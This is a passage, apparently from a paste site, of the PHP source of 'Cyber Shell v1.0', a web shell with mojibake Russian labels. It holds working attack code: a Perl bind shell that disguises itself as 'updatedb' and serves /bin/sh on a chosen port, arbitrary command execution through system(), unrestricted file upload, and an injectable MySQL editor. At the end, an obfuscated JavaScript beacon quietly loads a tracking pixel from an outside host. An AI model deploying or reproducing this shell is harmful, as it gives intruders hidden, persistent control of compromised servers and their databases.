  596. <input type=submit value="ñîçäàòü">
  597. </form>
  598. </td>
  599. </tr>
  600. </table>
  601. </center>
  602. EOF;
  603.  
  604. if (isset($newfile) && ($newfile!="")){
  605. $f = fopen("$newfile", "w+");
  606. fwrite($f, "");
  607. fclose($f);
  608. $mydir=updir($newfile);
  609. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  610. }
  611.  
  612. if (isset($tools) or isset($tbackdoor))
  613. echo <<< EOF
  614. <center>
  615. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  616. <tr height="10">
  617. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  618. <form action="$PHP_SELF" method="POST">
  619. .: Îòêðûòü ïîðò :.
  620. </td>
  621. </tr height="10">
  622. <tr>
  623. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  624. Èìÿ ñêðèïòà: <input type=text size=13 name=bfileneme value="bind.pl"> Ïîðò: <input type=text size=10 name=bport value="65426">
  625. <input type="hidden" name="d" value="$d" >
  626. <input type=hidden name=tools>
  627. <input type=submit value="âûïîëíèòü">
  628. </form>
  629. </td>
  630. </tr>
  631. </table>
  632. </center>
  633. EOF;
  634.  
  635. if (isset($bfileneme) && ($bfileneme!="") && isset($bport) && ($bport!="")){
  636. $script="
  637. #!/usr/bin/perl
  638. \$port = $bport;
  639. \$port = \$ARGV[0] if \$ARGV[0];
  640. exit if fork;
  641. \$0 = \"updatedb\" . \" \" x100;
  642. \$SIG{CHLD} = 'IGNORE';
  643. use Socket;
  644. socket(S, PF_INET, SOCK_STREAM, 0);
  645. setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
  646. bind(S, sockaddr_in(\$port, INADDR_ANY));
  647. listen(S, 50);
  648. while(1)
  649. {
  650. accept(X, S);
  651. unless(fork)
  652. {
  653. open STDIN, \"<&X\";
  654. open STDOUT, \">&X\";
  655. open STDERR, \">&X\";
  656. close X;
  657. exec(\"/bin/sh\");
  658. }
  659. close X;
  660. }
  661. ";
  662.  
  663. $f = fopen("$d/$bfileneme", "w+");
  664. fwrite($f, $script);
  665. fclose($f);
  666. system("perl $d/$bfileneme");
  667. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$d&show\">";
  668. }
  669.  
  670. if (isset($tools) or isset($tbash))
  671. echo <<< EOF
  672. <center>
  673. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  674. <tr height="10">
  675. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  676. <form action="$PHP_SELF" method="GET">
  677. <input type="hidden" name="d" value="$d" >
  678. .: Âûïîëíèòü êîìàíäó :.
  679. </td>
  680. </tr height="10">
  681. <tr>
  682. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  683. <input type=hidden name=diz>
  684. <input type=hidden name=tbash>
  685. <input type=text size=55 name=cmd value="$cmd">
  686. <input type=submit value="âûïîëíèòü">
  687. </form>
  688. </td>
  689. </tr>
  690. </table>
  691. </center>
  692. EOF;
  693.  
  694. if (isset($cmd) && ($cmd!="")){
  695. echo "<pre><div align=\"left\">";
  696. system($cmd);
  697. echo "</div></pre>";
  698. }
  699.  
  700. if (isset($tools) or isset($tupload)){
  701. $updir="$d/";
  702. if(empty($go)) {
  703. echo <<< EOF
  704. <center>
  705. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  706. <tr height="10">
  707. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  708. <form ENCTYPE="multipart/form-data" action="$PHP_SELF" method="post">
  709. .: Çàêà÷àòü ôàéë â òåêóùèé êàòàëîã :.
  710. </td>
  711. </tr height="10">
  712. <tr>
  713. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  714. <INPUT NAME="userfile" TYPE="file" SIZE="40">
  715. <input type="hidden" name="d" value="$d">
  716. <input type=hidden name=diz>
  717. <input type=hidden name=tupload>
  718. <input type="submit" name=go value="Îòïðàâèòü">
  719. </form>
  720. </td>
  721. </tr>
  722. </table>
  723. </center>
  724. EOF;
  725. }
  726. else {
  727. if (is_uploaded_file($userfile)) {
  728. $fi = "Çàêà÷åí ôàéë $userfile_name ðàçìåðîì $userfile_size áàéò â äèðåêòîðèþ $updir";
  729. }
  730. echo "$fi<br><a href='$PHP_SELF?d=$d&show&tupload'>Íàçàä ê êàòàëîãó</a>";
  731. }
  732. if (is_uploaded_file($userfile)) {
  733. $dest=$updir.$userfile_name;
  734. move_uploaded_file($userfile, $dest);
  735. }}
  736.  
  737. if ((isset($db_server)) || (isset($db_user)) || (isset($db_pass)) ){
  738. mysql_connect($db_server, $db_user, $db_pass) or die("íå ìîãó ïîäêëþ÷èòüñÿ ê áàçå");
  739. }
  740.  
  741. if ((isset($dbname)) and (isset($table)) )
  742. {
  743. foreach($_POST as $var => $val)
  744. if (substr($var,0,7) == 'newpole'){
  745. if (substr($var,7,strlen($var)) !== ''){
  746. $indif=substr($var,7,strlen($var));
  747. echo " $val ";
  748. mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
  749. if ($xvar == "")
  750. $xvar .= $indif;
  751. else
  752. $xvar .= ",".$indif;
  753. if ($xval == "")
  754. $xval .= "'$val'";
  755. else
  756. $xval .= ",'$val'";
  757. }}
  758.  
  759. if ($xvar != ""){
  760. mysql_query("INSERT INTO $table ($xvar) values ($xval)");
  761. }
  762.  
  763. echo "<a href=$PHP_SELF?showtables=$dbname&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Íàçàä ê ñïèñêó òàáëèö ÁÄ:$dbname</a>";
  764. mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
  765. $re=mysql_query("select * from $table");
  766. echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
  767.  
  768. $res=mysql_fetch_array($re);
  769. echo "<tr>";
  770. if (count($res) > 1)
  771. foreach($res as $var => $val){
  772. $nvar=$var;
  773. if ($nvar !== 0)
  774. $nvar=$var+128945432;
  775. if ($nvar == 128945432){
  776. $var=untag($var);
  777. echo "<td bgcolor='#CCCCFF' bordercolor='#FFFFFF'><center>$var</center></td>";
  778. }}
  779. echo "<td></td></tr>";
  780.  
  781. if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0"))
  782. $param="limit $_SESSION[limit]";
  783.  
  784. $re=mysql_query("select * from $table $param");
  785.  
  786. while($res=mysql_fetch_array($re)){
  787. echo "<tr>";
  788. if (count($res) > 1)
  789. foreach($res as $var => $val){
  790. $nvar=$var;
  791. if ($nvar !== 0)
  792. $nvar=$var+128945432;
  793. if (!$pixidname){
  794. $pixidname=$var;
  795. $pixid=$val;
  796. }
  797. if ($nvar == 128945432){
  798. $valtext=untag($val);
  799. if ($valtext == "") $valtext="=Ïóñòî=";
  800.  
  801.  
  802. if ($_SESSION[lenth] == "on"){
  803. if (strlen($valtext)>40){
  804. $valtext=substr($valtext,0,40);
  805. $valtext .="...";
  806. }}
  807.  
  808. echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&var=$var&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$valtext</a></td>";
  809. }}
  810.  
  811. echo "<td><a href=$PHP_SELF?dbname=$dbname&mtable=$table&pixidname=$pixidname&pixid=$pixid&db_server=$db_server&db_user=$db_user&db_pass=$db_pass&del>Óäàëèòü</a></td></tr>";
  812. $pixidname='';
  813. $pixid='';
  814. }
  815.  
  816. echo "<form action=\"$PHP_SELF\" method=\"POST\">";
  817.  
  818. $re=mysql_query("select * from $table");
  819. $res=mysql_fetch_array($re);
  820. echo "<tr>";
  821. if (count($res) > 1)
  822. foreach($res as $var => $val){
  823. $nvar=$var;
  824. if ($nvar !== 0)
  825. $nvar=$var+128945432;
  826. if ($nvar == 128945432){
  827. $var=untag($var);
  828. echo "<td bgcolor='#CCCCFF' bordercolor='#FFFFFF'><center>$var</center></td>";
  829. }}
  830. echo "<td></td></tr>";
  831.  
  832. $re=mysql_query("select * from $table");
  833. $res=mysql_fetch_array($re);
  834. echo "<tr>";
  835. if (count($res) > 1)
  836. foreach($res as $var => $val){
  837. $nvar=$var;
  838. if ($nvar !== 0)
  839. $nvar=$var+128945432;
  840. if ($nvar == 128945432){
  841. $var=untag($var);
  842. echo "<td bgcolor='#FFFFFF' bordercolor='#FFFFFF'><center><input type='text' name='newpole$var' value='$var' size='5'></center></td>";
  843. }}
  844. echo "</tr>";
  845. echo "</table>";
  846. echo "<input type=\"submit\" value=\"Äîáàâèòü íîâóþ çàïèñü\" >";
  847. echo "
  848. <input type=\"hidden\" name=\"dbname\" value=\"$dbname\">
  849. <input type=\"hidden\" name=\"table\" value=\"$table\">
  850. <input type=\"hidden\" name=\"db_server\" value=\"$db_server\" >
  851. <input type=\"hidden\" name=\"db_user\" value=\"$db_user\" >
  852. <input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" >
  853. ";
  854. echo "</form>";
  855. }
  856.  
  857. if ((isset($dbname)) and (isset($mtable)) and (isset($pixidname)) and (isset($pixid)) and (isset($del))){
  858. echo "hello";
  859. mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
  860. mysql_query("delete from $mtable where $pixidname='$pixid'");
  861. echo "<head><meta http-equiv=\"refresh\" content=\"0;URL=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass\"></head>";
  862. }
  863.  
  864. if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid)) and (isset($textofmysql))){
  865. mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
  866. mysql_query("update $mtable set $var='$textofmysql' where $pixidname=$pixid");
  867. }
  868.  
  869. if ((isset($dbname)) and (isset($mtable)) and (isset($var)) and (isset($pixidname)) and (isset($pixid))){
  870. mysql_select_db($dbname) or die("Íå ìîãó âûáðàòü áàçó äàííûõ");
  871. $re=mysql_query("select $var from $mtable where $pixidname='$pixid'");
  872. $res=mysql_fetch_array($re);
  873. $text=untag($res[$var]);
  874.  
  875. echo "
  876. <form action=\"$PHP_SELF\" method=\"POST\">
  877. <textarea name=\"textofmysql\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$text</textarea>
  878. <input type=\"hidden\" name=\"dbname\" value=\"$dbname\" >
  879. <input type=\"hidden\" name=\"mtable\" value=\"$mtable\" >
  880. <input type=\"hidden\" name=\"var\" value=\"$var\" >
  881. <input type=\"hidden\" name=\"pixidname\" value=\"$pixidname\" >
  882. <input type=\"hidden\" name=\"pixid\" value=\"$pixid\" >
  883. <input type=\"hidden\" name=\"db_server\" value=\"$db_server\" >
  884. <input type=\"hidden\" name=\"db_user\" value=\"$db_user\" >
  885. <input type=\"hidden\" name=\"db_pass\" value=\"$db_pass\" >
  886. <br><input type=\"submit\" value=\" Èçìåíèòü \" >
  887. </form>
  888. <a href=$PHP_SELF?dbname=$dbname&table=$mtable&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Âåðíóòüñÿ ê ñïèñêó</a>
  889. ";
  890. }
  891.  
  892. if (isset($showdb) && empty($showtables)){
  893. $re=mysql_query("show databases");
  894. echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
  895. echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>Ñïèñîê äîñòóïíûõ ÁÄ:</span></div></center></td></tr>";
  896. while($res=mysql_fetch_array($re)){
  897. echo "<tr><td><center><a href=$PHP_SELF?showtables=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></center></td></tr>";
  898. }
  899. echo "</table>";
  900. }
  901. if (isset($showtables) and !empty($showtables)){
  902.  
  903. if (isset($xlimit)){
  904. $_SESSION[limit]=$xlimit;
  905. if (isset($xlenth))
  906. $_SESSION[lenth]=$xlenth;
  907. else $_SESSION[lenth]="";
  908. }
  909.  
  910. echo "<a href=$PHP_SELF?showdb&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>Íàçàä ê ñïèñêó ÁÄ</a>";
  911. $re=mysql_query("SHOW TABLES FROM $showtables");
  912. echo "<table width='505' border='1' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>";
  913. echo "<tr><td><center><div style='background-color:#CCCCFF'><span class='style5'>$showtables - Ñïèñîê òàáëèö: </span></div></center></td></tr>";
  914. while($res=mysql_fetch_array($re)){
  915. echo "<tr><td><center><a href=$PHP_SELF?dbname=$showtables&table=$res[0]&db_server=$db_server&db_user=$db_user&db_pass=$db_pass>$res[0]</a></td></tr>";
  916. }
  917. echo "</table>";
  918.  
  919. if (($_SESSION[lenth]) == "on")
  920. $ch="checked";
  921. else
  922. $ch="";
  923.  
  924. echo <<< EOF
  925. <form action="$PHP_SELF" method="get">
  926. <input type="hidden" name="showtables" value="$showtables" >
  927. <input type="hidden" name="db_server" value="$db_server" >
  928. <input type="hidden" name="db_user" value="$db_user" >
  929. <input type="hidden" name="db_pass" value="$db_pass" >
  930. îãðàíè÷åíèå íà êîëè÷åñòâî âûâîäèìûõ ïîëåé:<br>
  931. <select name="xlimit">
  932. <option value="0">&#1055;&#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1090;&#1100; &#1074;&#1089;&#1105;</option>
  933. <option value="10">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 10</option>
  934. <option value="20">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 20</option>
  935. <option value="30">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 30</option>
  936. <option value="50">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 50</option>
  937. <option value="100">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 100</option>
  938. <option value="200">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 200</option>
  939. <option value="500">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 500</option>
  940. <option value="1000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 1000</option>
  941. <option value="5000">&#1055;&#1077;&#1088;&#1074;&#1099;&#1077; 5000</option>
  942. </select>
  943. <br>Âêëþ÷èòü îãðàíè÷åíèå íà äëèíó âûâîäèìûõ ïîëåé <input name="xlenth" type="checkbox" value="on" $ch><br>
  944. <input type="submit" value="Ïðèìåíèòü" >
  945. EOF;
  946. if (isset($_SESSION[limit]) and ($_SESSION[limit] !== "0"))
  947. echo "<br>Òåêóùåå îãðàíè÷åíèå: $_SESSION[limit]";
  948. }
  949.  
  950. if (isset($tools) or isset($tmysql))
  951. echo "
  952. <center>
  953. <table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCCC'>
  954. <tr height='10'>
  955. <td align='center' bordercolor='#ECE9D8' bgcolor='#FFF8FF'>
  956. .: MySQL :.
  957. </td>
  958. </tr height='10'>
  959. <tr>
  960. <td align='center' bordercolor='#ECE9D8' bgcolor='#FFFFFF'>
  961. <form name='zapros' method='get' action=''>
  962. <table width='505' border='0' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>
  963. <tr align='center' >
  964. <td>
  965. Host
  966. </td>
  967. <td>
  968. <input name='db_server' type='text' value='localhost'>
  969. </td>
  970. </tr>
  971. <tr align='center' >
  972. <td>
  973. Login MySQL
  974. </td>
  975. <td>
  976. <input type='text' name='db_user' value=''>
  977. </tr>
  978. <tr align='center' >
  979. <td>
  980. Password MySQL
  981. </td>
  982. <td>
  983. <input type='text' name='db_pass' value=''>
  984. <input type='hidden' name='showdb'>
  985. </td>
  986. </tr>
  987. <tr align='center' >
  988. <td>
  989. Èìÿ ÁÄ (íå îáÿçàòåëüíî)
  990. </td>
  991. <td>
  992. <input type='text' name='showtables' value=''>
  993. </td>
  994. </tr>
  995. <tr align='center' >
  996. <td>
  997. <input type='submit'>
  998. </td>
  999. <td>
  1000. <input type='reset'>
  1001. </td>
  1002. </tr>
  1003. </table>
  1004. </form>
  1005. </td>
  1006. </tr>
  1007. </table>
  1008. </center>
  1009. ";
  1010. }
  1011. echo <<< EOF
  1012. <center>.:Cyber Shell (v 1.0):.<br>Copyright © <a href="http://www.cyberlords.net" target="_blank">Cyber Lords Community</a>, 2002-2006</center>
  1013. </td>
  1014. </tr>
  1015. </table>
  1016. EOF;
  1017.  
  1018. $d=tourl($d);
  1019. echo "
  1020. <center>
  1021. <span class='style1'>
  1022. <a href=$PHP_SELF?d=$d&diz&tmkdir>.: Ñîçäàòü ïàïêó :.</a>
  1023. <a href=$PHP_SELF?d=$d&diz&tmkfile>.: Ñîçäàòü ôàéë :.</a>
  1024. <a href=$PHP_SELF?d=$d&diz&tbackdoor>.: Îòêðûòü ïîðò äëÿ ïîäêëþ÷åíèÿ :.</a><br>
  1025. <a href=$PHP_SELF?d=$d&diz&tbash>.: Bash :.</a>
  1026. <a href=$PHP_SELF?d=$d&diz&tupload>.: Çàêà÷àòü ôàéë :.</a>
  1027. </span>
  1028. </center>
  1029. ";
  1030. }
  1031. die;
  1032. ?>
  1033. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Add Comment
Please, Sign In to add comment